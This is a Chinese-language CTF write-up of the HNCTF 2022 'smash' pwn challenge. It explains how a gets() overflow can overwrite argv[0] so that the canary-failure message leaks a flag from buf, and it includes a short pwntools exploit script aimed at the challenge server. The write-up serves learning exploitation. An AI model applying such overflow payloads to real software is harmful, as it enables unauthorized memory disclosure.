[HNCTF 2022 WEEK3] smash 复现

smash

查看保护机制,正如题目的名字smash(所以会涉及到花式栈溢出 stack smash),打开了NX和canary

ida一下,发现gets函数造成了溢出,并且flag存在buf里面

接下来我们就需要了解一下 stack smash(花式栈溢出技巧 - CTF Wiki (ctf-wiki.org)

Stack smash       

       在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。

当我们了解了 Stack smash 后,我们就可以溢出到arg[0],然后将该指针改成buf就能获得flag,下面就开始求偏移

两个地址相减就可得偏移0x208(但是正确的偏移是0x1f8,比正确的偏移多了0x10,问了下学长可能是版本的问题,方法会了就行,小问题不伤大雅)

也可以这样算

exp如下:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#p = process(’./pwn’)
p = remote('node5.anna.nssctf.cn',28378)

elf = ELF('./111')
libc = ELF('./libc-2.23.so')

buf_addr =0x404060

payload = b'a'*0x1f8 +p64(buf_addr)

p.sendlineafter(b'Good Luck.\n',payload)
p.interactive()

总结:

这题感觉稍微了解了Stack smash这种花式栈溢出的方法,这题理解起来比较友好,其他的题像网鼎杯那道相同的方法的不太好理解,总之就是自己知识储备不够,加油,卷起来,冲冲冲!!!

  • 8
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值